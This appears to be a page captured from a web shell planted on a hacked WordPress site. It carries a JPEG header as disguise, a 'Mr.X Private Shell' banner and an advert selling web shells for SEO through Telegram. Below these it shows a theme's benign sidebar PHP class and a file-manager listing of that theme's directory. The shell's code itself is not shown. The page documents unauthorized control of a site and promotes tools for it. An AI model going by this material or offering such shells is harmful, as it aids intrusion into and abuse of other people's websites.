����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
class konstruktic_setup_sidebar {
public function __construct() {
add_action('widgets_init', array($this, 'init_sidebar'), 9);
add_filter('body_class', array($this, 'body_class'));
add_filter('opal_theme_sidebar', array($this, 'set_sidebar'));
}
public function body_class($classes) {
if (konstruktic_is_product_archive()) {
if (is_active_sidebar('sidebar-woocommerce-shop')) {
$classes[] = 'opal-default-content-layout-2cr';
} else {
$classes[] = '';
}
} elseif (function_exists('is_product') && is_product()) {
if (is_active_sidebar('sidebar-woocommerce-detail')) {
$classes[] = 'opal-default-content-layout-2cr';
} else {
$classes[] = '';
}
} else {
if (is_active_sidebar('sidebar-blog') && !is_page() && !is_404()) {
$classes[] = 'opal-default-content-layout-2cr';
}
}
$classes[] = 'opal-default-content-layout';
return $classes;
}
public function init_sidebar(){
register_sidebar(array(
'name' => esc_html__('Blog Sidebar', 'konstruktic'),
'id' => 'sidebar-blog',
'description' => esc_html__('Add widgets here to appear in your sidebar on blog posts and archive pages.', 'konstruktic'),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
));
}
public function set_sidebar($sidebar) {
if (konstruktic_is_product_archive() || (function_exists('is_product') && is_product())) {
} else {
if (is_active_sidebar('sidebar-blog') && !is_page()) {
$sidebar = 'sidebar-blog';
}
}
return $sidebar;
}
}
return new konstruktic_setup_sidebar();| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| admin | Folder | 0755 |
|
|
| resources | Folder | 0755 |
|
|
| back-compat.php | File | 1.91 KB | 0644 |
|
| class-main.php | File | 14.84 KB | 0644 |
|
| class-sidebar.php | File | 1.99 KB | 0644 |
|
| starter-settings.php | File | 743 B | 0644 |
|
| template-functions.php | File | 15.79 KB | 0644 |
|
| template-tags.php | File | 5.57 KB | 0644 |
|
| tgm-plugins.php | File | 2.57 KB | 0644 |
|
| theme-custom-css.php | File | 512 B | 0644 |
|